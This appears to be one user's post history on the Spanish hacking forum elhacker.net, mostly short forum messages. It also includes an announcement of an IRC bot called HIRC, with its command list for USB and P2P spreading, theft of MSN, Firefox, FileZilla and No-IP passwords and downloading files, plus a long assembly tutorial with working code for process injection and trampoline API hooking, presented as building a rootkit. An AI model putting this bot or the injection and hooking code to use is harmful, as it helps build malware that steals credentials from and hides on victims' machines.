elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: [1] 2 3
1  Foros Generales / Foro Libre / Mi vuelta! en: 6 Julio 2012, 22:37 pm
Buenas,

Bueno algunos me recordaran otros ni me conocerán .. me llamo Marco Almonacid Marchant apodado YST de nacionalidad chilena y estoy en este foro desde el 2009 fui moderador del área de asm en su tiempo .


Ya basta de presentaciones el objetivo con el que cree este post son 2 motivos el primero es pedir disculpa por algunos comportamientos con otros miembros del foro que fueron hostiles ; segundo por que como muchos saben tuve un sin fin de problemas legales por los cuales estuve preso 1 dia y  ya me an preguntado y quiero que por única y ultima vez se toque el tema ya que no me siento para nada orgulloso de estos y prefiero que me conozcan por mis aportes en el foro que por estos delitos , y eso ...



Un gusto estar de nuevo con ustedes y a programar  >:D .

SALUDOS ;D
2  Foros Generales / Foro Libre / Avizo de tsunami. en: 11 Marzo 2011, 13:50 pm
Alerta de Tsunami Se esperan olas en las próximas horas desde Mexico hasta Chile causadas por un terremoto en Japón de 8.9 grados.
3  Foros Generales / Sugerencias y dudas sobre el Foro / Suboforo de Borradores. en: 30 Enero 2010, 00:36 am
Hola,

Propongo que se cree un subforo donde uno pueda hacer borradores de tutoriales y post mas largos , la idea es que uno tenga poderes de moderador sobre sus post en ese subforo :P

Saludos :P
4  Foros Generales / Sugerencias y dudas sobre el Foro / Eliminar GPS-Navegadores en: 3 Enero 2010, 05:41 am

Mi razon :

  • El subforo tiene un tiempo ya valido como para tener que sea 3 paginas y solo tiene 9 temas (ni media pagina )

Saludos
5  Foros Generales / Sugerencias y dudas sobre el Foro / ¿Grupo de trabajo? en: 30 Octubre 2009, 21:46 pm
Hola,

Me podrian explicar en que consiste el grupo de trabajo ( nuevo rango en el foro ) , ¿que permisos tienen? ,¿que hacen en espacia? ,etc..

Saludos

ej:
http://foro.elhacker.net/profiles/skeletron-u338568.html

EDIT:

encontre la razón de que existan :xD

http://foro.elhacker.net/net/encuesta_grupo_de_trabajo-t266861.0.html;msg1305745#msg1305745
6  Seguridad Informática / Análisis y Diseño de Malware / [Source] HIRC bot v1.1b en: 14 Septiembre 2009, 20:05 pm
HIRC BOT v1.1 beta


  • ¿Que es ?
    HIRC BOT es un Bot IRC programado en ASM con propagacion USB y P2P(emule y ares )
  • ¿Cuales comandos tiene?
    Código
    1. ;######################################################
    2. ;######################################################
    3. ;#              COMANDOS                              #
    4. ;#!CC <canal> <clave>  = Se conecta a otro canal      #
    5. ;#!RB                  = Reinicia el server           #
    6. ;#!SB                  = Saca el bot                  #
    7. ;#!SC                  = Nos desconectamos del canal. #
    8. ;#!IP                  = Obtiene la IP del BOT        #
    9. ;#!SO                  = Obtiene el sistema operativo #
    10. ;#!PN                  = Obtiene el nombre del PC     #
    11. ;#!UN                  = Obtiene el nombre de usuario #
    12. ;#!HL                  = Obtiene las unidades del PC  #
    13. ;#!IG                  = Obtiene informacion del PC   #
    14. ;#!LE                  = Obtiene el idioma del PC     #
    15. ;#!DF <URL>            = Descarga un archivo.         #
    16. ;#!CM                  = Obtiene claves del MSN       #
    17. ;#!CF  <URL>(opcional) = Claves Firefox               #
    18. ;#!ZF                  = Claves FileZilla             #
    19. ;#!CP <PHP>            = Cambia el nick a el pais     #
    20. ;#!CN                  = Obtiene claves del No-IP.    #
    21. ;#!RA  <File>          = Se propaga por p2p.         #
    22. ;######################################################
    23. ;######################################################  
    24.  

  • ¿Para que son el resto de los archivos?
    Son para el comando "!CC" que utiliza el PHP para detectar el pais de que es el BOT

  • Pequeña explicación sobre cositas del BOT
    El bot crea un proceso del notepad donde inyecta codigo para que si el se cerrara el proceso del BOT se vuelva a abrir.

    El BOT tiene propagacion p2p por Emule y ARES.

    Las claves del Firefox son de la Ultima version el 3.5.x .

    Hay un comando que es el !CD que obtiene las claves del DynDNS que se me olvido ponerlo ;) .
    Descargar
7  Foros Generales / Sugerencias y dudas sobre el Foro / Programación VB en: 4 Septiembre 2009, 19:58 pm
Hola,

Debido a la gran cantidad de gente que piensa que la sección de Programación VB es tambien de programación en .NET, se me ocurrio que se podria poner un mensaje tipo como lleba el Subforo de seguridad un mensajito que diga "No se trata .NET en este foro" ;)

Saludos
8  Programación / ASM / Macros interesantes en: 24 Agosto 2009, 01:12 am
En el siguiente post publicare macros que me parecieron interesante , no soy el autor si alguien conoce al autor original avisarme y lo colocare ;) .

Aplica un NOT a cada byte haciendo una cifrado .
Código
  1. macro encryptNOT dstart,dsize {
  2.    local ..char,..key,..shift
  3.    repeat dsize
  4.        load ..char from dstart+%-1
  5.        ..char = byte  not ..char
  6.        store ..char at dstart+%-1
  7.    end repeat
  8. }  
  9.  

Aplica un XOR a cada byte haciendo una cifrado .
Código
  1. macro crypt start,length,key {
  2.  local x,y,key_size,key_pos
  3.  virtual at 0
  4.    db key
  5.    key_size = $
  6.  end virtual
  7.  key_pos = 0
  8.  repeat length
  9.    load x from start+%-1
  10.    virtual at 0
  11.      db key
  12.      load y from key_pos
  13.    end virtual
  14.    x = x xor y
  15.    store x at start+%-1
  16.    key_pos = key_pos + 1
  17.    if key_pos >= key_size
  18.      key_pos = 0
  19.    end if
  20. end repeat
  21. }

Mas info : http://board.flatassembler.net/topic.php?t=8429
Código
  1. macro JCOND label,v1,c,v2
  2. {
  3. match any,c
  4. \{
  5.   cmp v1,v2
  6.   j\#c label
  7. \}
  8. match ,c
  9. \{
  10.   PARSECOND parsed@cond,v1
  11.   match cond,parsed@cond \\{ JCONDEXPR label,cond \\}
  12. \}
  13. }
  14.  
  15. macro   .for [args]
  16. {
  17. common
  18.  local ..for
  19.  local ..endfor
  20.  local ..continue
  21.  __FOR equ ..for
  22.  __ENDFOR equ ..endfor
  23.  __CONTINUE equ ..continue
  24.  
  25.  macro for_expr [argsa]
  26.  \{
  27.   cont = 1
  28.   if cont
  29.    match arg=+==val, argsa \\{
  30.    add arg, val
  31.    cont = 0\\}
  32.   end if
  33.   if cont
  34.    match arg=-==val, argsa \\{
  35.    sub arg, val
  36.    cont = 0\\}
  37.   end if
  38.   if cont
  39.    match arg=--, argsa \\{
  40.    dec arg
  41.    cont = 0\\}
  42.   end if
  43.   if cont
  44.    match arg=++, argsa \\{
  45.    inc arg
  46.    cont = 0\\}
  47.   end if
  48.   if cont
  49.    match arg=<<val, argsa \\{
  50.    shl arg, val
  51.    cont = 0\\}
  52.   end if
  53.   if cont
  54.    match arg=>>val, argsa \\{
  55.    shr arg, val
  56.    cont = 0\\}
  57.   end if
  58.   if cont
  59.    match arg=|==val, argsa \\{
  60.    or arg, val
  61.    cont = 0\\}
  62.   end if
  63.   if cont
  64.    match arg=&==val, argsa \\{
  65.    and arg, val
  66.    cont = 0\\}
  67.   end if
  68.   if cont
  69.    match arg=^==val, argsa \\{
  70.    xor arg, val
  71.    cont = 0\\}
  72.   end if
  73.   if cont
  74.    match arg==val, argsa \\{
  75.    mov arg, val
  76.    cont = 0\\}
  77.   end if
  78.  \}
  79.  
  80. define current args
  81.  
  82.  match =(a=:b=:c=), current
  83.  \{
  84.    for_expr a
  85.    JNCOND __ENDFOR, b
  86.  \}
  87.  __FOR:
  88.  
  89.  macro .break
  90.  \{
  91.    jmp __ENDFOR
  92.  \}
  93.  
  94.  macro .continue
  95.  \{
  96.    jmp __CONTINUE
  97.  \}
  98.  
  99.  macro .endf
  100.  \{
  101.    match =(a=:b=:c=), current
  102.    \\{
  103.      __CONTINUE:
  104.      for_expr c
  105.      JCOND __FOR, b
  106.      __ENDFOR:
  107.      restore __FOR
  108.      restore __ENDFOR
  109.      restore __CONTINUE
  110.      restore current
  111.    \\}
  112.  \}
  113. }
En construcción
9  Seguridad Informática / Análisis y Diseño de Malware / [Taller] Api Hooking en modo usuario en: 1 Agosto 2009, 05:27 am
Taller de Api hooking

Este texto se puede publicar libremente siempre que se mantenga el autor.
Autores:YST & Hacker_Zero


Conocimientos previos:
  • ASM        
  • Manejo minimo de las apis de windows
  • Formato PE [Metodo IAT patch]


Contenido
  • 1.-Introducción

  • 2.-Inyección de codigo
  • 2.1-Teoría
  • 2.2-Relización

  • 3.-Metodo de trampolín
  • 3.1-Teoría
  • 3.2-Relización

  • 4.-Metodo de IAT patch
  • 4.1-Teoría
  • 4.2-Relización

  • Despedida


1.Introducción

En este taller se explicara el api hooking, mediante 2 metodos distintos conocidos como el metodo trampolín y el metodo IAT patch .

El api hooking para quien no lo conosca es basicamente en modificar el comportamiento de una api por lo que queramos nosotros.

Todo el taller sera hecho usando el lenguaje ensamblador, a si que si no dominas el lenguaje aunque sea en un nivel basico no comprenderas todo el taller por eso recomiendo leer un poco sobre este lenguaje antes de leer el taller ;) .


2.Inyección de codigo


2.1Teoría

La inyección de codigo consiste en hacer que un codigo que nosotros programemos sea ejecutado por un proceso externo.

Para esto se crea un hilo con CreateRemoteThread en el proceso externo teniendo su PID ( Process ID ) y se escriber el codigo inyectado en el proceso creando un espacio con VirtualAllocEx y luego escribimos en el espacio generado con WriteProcessMemory .



2.1Relización


Para darnos una idea de la inyección de codigo inyectaremos un codigo que muestre un mensaje mediante la api MessageBoxA ;) .

Entonces inyectaremos la siguiente función

Código
  1. ;pGetProcAddress = Puntero a la api GetProcAddress
  2. proc FuncionInyectada,pGetProcAddress
  3. locals ; Definimos las variables locales
  4. BaseKernel32 dd ?    ;MZ de la kernel32.dll
  5. endl
  6. ;Leemos el PEB  para obtener la base del kernel
  7.     xor  eax, eax
  8.     add  eax,[fs:eax+30h]
  9.     mov  eax, [eax + 0ch]
  10.     mov  esi, [eax + 1ch]
  11.     lodsd
  12.     mov  eax, [eax + 08h]
  13.     mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
  14.  
  15.  stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
  16.  stdcall eax,"user32.dll" ;Cargamos la user32.dll
  17.   stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  18.   stdcall eax,0,0,0,0     ;Mostramos el mensaje
  19.   leave ;Terminamos
  20.     ret ;
  21.     endp
  22.     FinFuncion:

Para evitar lios los procesos donde trabajaremos seran creados por nosotros mismo mediante la api CreateProcessA y en nuestro code usaremos la siguiente función que mediante esta api crea un proceso.

Código
  1. ;pExe = Nombre del exe
  2. ;PI = Puntero a una estructura de PROCESS_INFORMATION
  3. proc LanzarHilo,pExe,PI   ;Función que cre un proceso
  4.    invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
  5.    mov edi,eax
  6. invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
  7.    invoke GlobalFree,edi
  8.    ret
  9. endp  

El siguiente paso es crear un espacio en el proceso donde escribiremos nuestra función :P , para eso usaremos la api  VirtualAllocEx y igual que en la creación del proceso para comodidad nos aremosa una comoda función que use esta api y nos retorne la posición donde se puede escribir
Código
  1. ;pTamaño = Tamaño necesitado
  2. ;pPid = Id del proceso.
  3. proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
  4.    invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  5.    ret
  6. endp    

Luego de generar el espacio en el proceso , escribimos nuestra funcion con WriteProcessMemory y creamos el hilo remoto con CreateRemoteThread pasandole por el parametro la direccion del GetProcAddress que usamos en nuestra función inyectada, el codigo nos queda mas o menos a si.

Código
  1. ; FinFuncion-FuncionInyectada = tamaño de la funcion
  2. include 'win32ax.inc' ;Incluimos la libreria
  3. .code ; Declaramos la sección de codigo
  4. proc start ; Entry Point
  5.    locals
  6.        PI                      PROCESS_INFORMATION   ;Información del Proceso
  7.        DirFun                  dd ? ;Espacio donde escribiremos    nuestro codigo
  8.    endl
  9. stdcall LanzarHilo,"notepad.exe",addr PI ; Creamos el proceso donde inyectaremos , el proceso es de un notepad.
  10. stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[PI.hProcess]     ;Creamos un espacio donde podremos esacribir
  11.  mov [DirFun],eax                    ;Guardamos la direccion donde podemos escribir en DirFun
  12.      invoke WriteProcessMemory,[PI.hProcess],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0  ;Escribimos nuestra funcion en el proceso.
  13.      invoke CreateRemoteThread,[PI.hProcess],0,0,[DirFun],[GetProcAddress],0,0  ;Creamos un hilo en el proceso pasandole por parametro ola direccion de GetProcAddress
  14. ret
  15. endp
  16. proc LanzarHilo,pExe,PI   ;Función que cre un proceso
  17.    invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO
  18.    mov edi,eax
  19. invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI]  ;creamos el proceso
  20.    invoke GlobalFree,edi
  21.    ret
  22. endp
  23. ;pTamaño = Tamaño necesitado
  24. ;pPid = Id del proceso.
  25. proc ReservarEspacio,pTamaño,pPid        ;Función que crea un espacio en el proceso
  26.    invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  27.    ret
  28. endp
  29. ;pGetProcAddress = Puntero a la api GetProcAddress
  30. proc FuncionInyectada,pGetProcAddress
  31. locals ; Definimos las variables locales
  32. BaseKernel32 dd ?    ;MZ de la kernel32.dll
  33. endl
  34. ;Leemos el PEB  para obtener la base del kernel
  35.     xor  eax, eax
  36.     add  eax,[fs:eax+30h]
  37.     mov  eax, [eax + 0ch]
  38.     mov  esi, [eax + 1ch]
  39.     lodsd
  40.     mov  eax, [eax + 08h]
  41.     mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll
  42.  
  43.  stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll
  44.  stdcall eax,"user32.dll" ;Cargamos la user32.dll
  45.   stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA
  46.   stdcall eax,0,0,0,0     ;Mostramos el mensaje
  47.   leave ;Terminamos
  48.     ret ;
  49.     endp
  50.     FinFuncion:
  51. .end start ; Declaramos el Import data y el Entry Point    
  52.  


2.Metodo de trampolín


2.1-Teoría

El metodo trampolín consiste en hacer que la api salte a nuestra función , esto se consigue cambiando los primeros bytes de la api por un codigo que salte a nuestra función ( por eso lo de trampolín) .

Para lograrlo se inyecta un codigo que saca el MZ de la dll mediante la api GetModuleHandle , se saca la dirección de la api con GetProcAddress y luego se le da permisos de escritura a los 6 primeros bytes con VirtualProtectEx .

Muchos se preguntaran por que a los 6 primeros bytes , esto es por que escribiremos un

Código
  1. push DireccionDeNuestraFuncion
  2. ret
que esto ocupa un total de 6 bytes ( 0x68 = PUSH[1byte] , 1 Dword la posicion y 0xC3 = Ret[1 byte] ) , para los que no sepan el ret hace algo que se podria describir como un "pop EIP" haciendo un salto a lo ultimo pusheado en la pila.

Para lograr hookear se necesita estar en su mismo espacio en memoria , para esto se inyectara de la manera anteriormente explicada el codigo que hace el hook.


2.2-Realización

Para explicar un poco mas la idea nos "autohookearemos" , la api que hookearmos en nosotros mismos es la api lstrlenA de la libreria kernel32.dll y haremos que devuelva siempre 0.

Ya explicado lo que vamos a hacer nos ponemos en marcha  :P .


Lo primero que haremos sera sacar la posición de la libreria kernel32.dll usando la api GetModuleHandle
, de la siguiente manera:

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. ret ; salimos
  6. .end start ;Establecemos el EntryPoint y el
  7.  
  8.  

Luego obtendremos la dirección de la api lstrlenA( la que hoockearemos ) mediante la api GetProcAddress de la siguiente manera ;)

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7. ret ; salimos
  8. .end start ;Establecemos el EntryPoint y el
  9.  
  10.  
  11.  

Luego le tenemos que dar permisos de escritura a los primeros 6 bytes de la api lstrlenA que tenemos guardada su posición previamente en ebx , entonces para esto usaremos la api VirtualProtectEx de la siguiente manera

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7.  
  8. lea edx,dword[ebp-4]
  9. invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
  10.  
  11. ret ; salimos
  12. .end start ;Establecemos el EntryPoint y el
  13.  
  14.  
La fuunción con que remplazaremos la lstrlenA sera la siguiente
Código
  1. ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
  2. proc MylstrlenA,p1
  3. mov eax,0
  4. ret
  5. endp  
  6.  

Ya teniendo la función y permisos de escritura , escribiremos nuestro codigo que saltara hacia nuestra función quedando de la siguiente manera nuestro code
Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7.  
  8. lea edx,dword[ebp-4]
  9. invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
  10.  
  11.    mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
  12.    inc ebx   ;Nos vamos al segundo byte de lstrlenA
  13.    mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
  14.    add ebx,4         ;Nos saltamos 4 bytes(1 dword)
  15.    mov byte[ebx],0xC3;Escribimos el ret
  16. ret ; salimos
  17. ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
  18. proc MylstrlenA,p1
  19. mov eax,0
  20. ret
  21. endp
  22. .end start ;Establecemos el EntryPoint y el import data                                                
  23.  

En este codigo la api ya estaria hookeada , para comprobarlo mostraremos un MessageBox con lo que devuelve ( Si no devuelve 0 daria error el MessageBoxA ).

Código
  1. include 'win32ax.inc'     ;Incluimos la libreria
  2. .code                 ;Declaramos la sección de codigo .
  3. start:  ;Entry point
  4. invoke GetModuleHandle,"kernel32.dll"   ;Sacamos la posicion de la kernel32.dll
  5. invoke GetProcAddress,eax,"lstrlenA"    ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll
  6. mov ebx,eax                             ;Guardamos la direccion de lstrlenA en ebx
  7.  
  8. lea edx,dword[ebp-4]
  9. invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA
  10.  
  11.    mov byte[ebx],0x68   ;Escribimos un PUSH en el primer byte de lstrlenA
  12.    inc ebx   ;Nos vamos al segundo byte de lstrlenA
  13.    mov dword[ebx],MylstrlenA  ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA )
  14.    add ebx,4         ;Nos saltamos 4 bytes(1 dword)
  15.    mov byte[ebx],0xC3;Escribimos el ret
  16.    invoke lstrlen,"Hola" ; Esto deberia devolver 4
  17.    invoke MessageBox,0,eax,0,0 ; Mostramos lop que devuelve , si se muestra el MessageBox LO LOGRAMOS!!
  18. ret ; salimos
  19. ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0.
  20. proc MylstrlenA,p1
  21. mov eax,0
  22. ret
  23. endp
  24. .end start ;Establecemos el EntryPoint y el import data
  25.  
  26.  

En la idea la unica diferencia entre el Autohook que hicimos y un Hook a otro proceso es que tenemos que inyectar nuestro codigo que hace hook en el proceso  ;D.


Ya sabiendo inyectar y teniendo la idea de como se hace el API Hook, vamos a hacer algo más divertido, inyectaremos nuestro código en otro proceso para modificar su comportamiento, en éste caso Hookearemos MessageBoxA. Para ésto será necesario crear un buffer con los 5 bytes (en éste caso) que pisamos en la API, para así, cuando queramos llamar a la API original poder hacerlo sin que la llamada caiga tambien en nuestra función  :xD. Con una imagen queda más claro  :P:


Por qué 5 bytes? Porque a la hora de modificar los bytes del comienzo de la Api, no podemos cortar instrucciones, y en el caso de Messagebox, la Api comienza por:

Código
  1.        mov edi,edi
  2.         push ebp
  3.         mov ebp,esp
  4.  

Eso ocupa exactamente 5 bytes, si lo reemplazamos por un jmp dirección, no cortaríamos ninguna instrucción. Pero ésto no es una constante, no todas las apis empiezan por lo mismo, por lo que en cada Api que vayamos a hookear, necesitaremos echar mano del debuger para fijarnos de no cortar ningúna instrucción  ;).

MANOS A LA OBRA!

Lo primero será inyectar nuestra función en el proceso que queremos Hookear:

Código
  1. proc start
  2.    locals
  3.        ProcessName             db                              "MessageBoxA.exe",0
  4.    endl
  5.  
  6.    stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
  7.    cmp eax,-1
  8.    jne salir
  9.  
  10.    invoke MessageBoxA,0,"No se encontró el proceso!",0,0
  11.  
  12.    salir:
  13.    invoke ExitProcess,0
  14. endp
  15.  
  16. proc Inyectar,ProcessName,Tamaño,Funcion,Datos
  17.    locals
  18.        struct PROCESSENTRY32
  19.            dwSize                  dd ?
  20.            cntUsage                dd ?
  21.            th32ProcessID           dd ?
  22.            th32DefaultHeapID       dd ?
  23.            th32ModuleID            dd ?
  24.            cntThreads              dd ?
  25.            th32ParentProcessID     dd ?
  26.            pcPriClassBase          dd ?
  27.            dwFlags                 dd ?
  28.            szExeFile               rb MAX_PATH
  29.        ends
  30.  
  31.        pInfo                   PROCESSENTRY32                  ?
  32.        Handle                  dd                              ?
  33.        PID                     dd                              ?
  34.        DirFuncion              dd                              ?
  35.        hProcess                dd                              ?
  36.    endl
  37.  
  38.    ;Obtenemos el PID del proceso
  39.    invoke CreateToolhelp32Snapshot,0x00000002,0
  40.    mov [Handle],eax
  41.  
  42.     mov eax,sizeof.PROCESSENTRY32
  43.     mov [pInfo.dwSize], eax
  44.  
  45.    BuclePid:
  46.        invoke Process32Next,[Handle],addr pInfo
  47.        cmp eax,0
  48.        je FinProcBuclePID ;No hay más procesos
  49.        invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
  50.        cmp eax,0
  51.        jne BuclePid
  52.        jmp FinBuclePid
  53.  
  54.    FinProcBuclePID:
  55.    invoke CloseHandle,[Handle]
  56.    mov eax,-1
  57.    ret
  58.  
  59.    FinBuclePid:
  60.    invoke CloseHandle,[Handle]
  61.    push [pInfo.th32ProcessID]
  62.    pop [PID]
  63.  
  64.    ;Lazamos el proceso
  65.    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
  66.    mov [hProcess],eax
  67.  
  68.    ;Reservamos espacio en el proceso
  69.    invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  70.    mov [DirFuncion],eax
  71.  
  72.    ;Escribimos los datos en memoria
  73.    invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
  74.  
  75.    ;Creamos el hilo
  76.    invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[GetProcAddress],0,0
  77.  
  78.    ret
  79. endp                    
  80.  

No explicaré el código de inyección, con los comentarios es más que suficiente, ya lo explicó mi compañero YST y se supone que dominamos la inyección y queremos hacer un Rootkit  ;D.

Ahora lo interesante, la función que inyectaremos:


Código
  1. proc FuncionInyectada,pGetProcAddress
  2.  
  3.     locals
  4.         BaseKernel32                   dd               ?
  5.         OriginalProtection             dd               ?
  6.     endl
  7.  
  8.     ;Leemos el PEB  para obtener la base de KERNEL32.DLL
  9.     xor  eax, eax
  10.     add  eax,[fs:eax+30h]
  11.     mov  eax, [eax + 0ch]
  12.     mov  esi, [eax + 1ch]
  13.     lodsd
  14.     mov  eax, [eax + 08h]
  15.     mov [BaseKernel32],eax
  16.  
  17.     ;Obtenemos la dirección de MessageBoxA
  18.     stdcall [pGetProcAddress],[BaseKernel32],"GetModuleHandleA"
  19.     mov edi,eax
  20.     stdcall edi,"USER32.DLL"
  21.     stdcall [pGetProcAddress],eax,'MessageBoxA'
  22.  
  23.     ;ebx contendrá la dirección de la Api MessageBoxA
  24.     mov ebx,eax
  25.  
  26.     ;Obtenemos la dirección de VirtualProtect y damos permisos
  27.     ;de lectura, escritura y ejecución a los 5 primeros bytes de la Api
  28.     stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
  29.     stdcall eax,ebx,5,PAGE_EXECUTE_READWRITE,addr OriginalProtection
  30.  
  31.     ;Calculamos el delta offset para saber en que
  32.     ;dirección nos estamos ejecutando
  33.     call delta
  34.     delta:
  35.     pop edx
  36.     sub edx,delta  ;edx=delta
  37.  
  38.     ;Lo guardamos en la pila para no perderlo
  39.     push edx
  40.  
  41.     ;Mostramos un Messagebox para indicar que nos inyectamos correctamete en el proceso
  42.     ;(Obtenemos la dirección de las variables a partir del delta offset)
  43.     mov eax,edx
  44.     add edx,RMensaje             ;Obtenemos la direccion de las variables RMensaje y msgTitulo
  45.     add eax,msgTitulo             ;a partir del delta offset
  46.     stdcall ebx,0,edx,eax,0    ;ebx=puntero MessageBoxA
  47.  
  48.     ;Recuperamos el valor de delta de la pila y lo volvemos a guardar
  49.     pop edx
  50.     push edx
  51.  
  52.     ;Guardamos la dirección de MessageBoxA en la variable dirMessageBoxA
  53.     add edx,dirMessageBoxA
  54.     mov dword[edx],ebx
  55.  
  56.     pop edx  ;Recuparamos el valor de delta offset de la pila
  57.  
  58.     ;Modificamos los 5 primeros bytes de la API por un jmp a FuncionHook
  59.     mov byte[ebx],0xE9   ;0xE9=jmp
  60.     inc ebx
  61.     mov ecx,FuncionHook
  62.     add ecx,edx
  63.     sub ecx,ebx
  64.     sub ecx,4
  65.     mov dword[ebx],ecx   ;la dirección a la que saltará
  66.  
  67.     ret          ;Terminamos, ya hemos modificado el principio de la api,
  68.                   ;cuando el programa llame a MessageBoxA, saltará a FuncionHook
  69.  
  70. ;--------------------------------------------------------------------------------------------------------------------------------------------
  71.  
  72.     ;Contiene los 5 primeros bytes de la Api MessageBoxA y una rutina para saltar a MessageBox+5
  73.     ApiOriginal:
  74.         ;edx=delta
  75.         mov edi,edi         ; Primeros bytes de la api MessageBoxA
  76.         push ebp            ; que pisamos poniendo nuestro salto,
  77.         mov ebp,esp       ;
  78.  
  79.         add edx,dirMessageBoxA  ;Obtenemos la dirección de MessageBoxA leyendo
  80.         mov eax,dword[edx]       ;la variable dirMessageBoxA y la guardamos en eax
  81.         add eax,5           ;Nos desplazamos 5 bytes
  82.         jmp eax             ;Saltamos a MessageBoxA+5
  83.  
  84. ;--------------------------------------------------------------------------------------------------------------------------------------------
  85.  
  86.     ;Función a la que salta el programa cuando se llama a la API hookeada
  87.     FuncionHook:
  88.         ;Calculamos el delta offset
  89.         call delta2
  90.         delta2:
  91.         pop edx
  92.         sub edx,delta2  ;edx=delta
  93.  
  94.         ;Limpiamos la pila de los parametros originales
  95.         pop eax
  96.         mov ebx,eax ;Guardamos la dirección de retorno en ebx
  97.         pop eax    
  98.         pop eax
  99.         pop eax
  100.         pop eax
  101.  
  102.         push edx edx   ;Copiamos el delta a eax y ecx
  103.         pop ecx eax
  104.  
  105.         ;pusheamos nuestros parámetros obteniendo la dirección de las variables
  106.         ;a partir del delta offset
  107.         push 0
  108.         add ecx,msgTitulo
  109.         push ecx
  110.         add eax,ApiHookedMensaje
  111.         push eax
  112.         push 0
  113.  
  114.         ;Pusheamos la dirección de retorno
  115.         push ebx
  116.  
  117.         ;Obtenemos la dirección de ApiOriginal
  118.         mov ecx,edx
  119.         add ecx,ApiOriginal
  120.  
  121.         ;Saltamos a ApiOriginal
  122.         jmp ecx
  123.  
  124. ;-------------------------------------------------------------------------------------------------------------------------------------------
  125.  
  126.         RMensaje                       db               "Soy el RootKit, me inyecté! :D!",0
  127.         ApiHookedMensaje               db               "Soy un MessageBoxA Hookeado! :D!",0
  128.         msgTitulo                      db               "xD",0
  129.         dirMessageBoxA                 dd               ?
  130. endp                
  131.  

Con eso tendríamos nuestro Rootkit terminado usando el método trampolín:

Éste es el ejecutable Llamando a MessageboxA:


Ejecutamos el Rootkit:

Y cuando el programa hace MessageBoxa(0,"No estoy Hookeado :( !",":(",0) sucede ésto:

Subo el código fuente completo: Descargar


En construcción

10  Programación / ASM / [Libro]Assembly Language For Intel based computers en: 31 Julio 2009, 07:45 am
Un exelente libro de ASM ;)

http://rapidshare.com/files/161065925/Assembly_Language_For_Intel_based_computers.zip
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines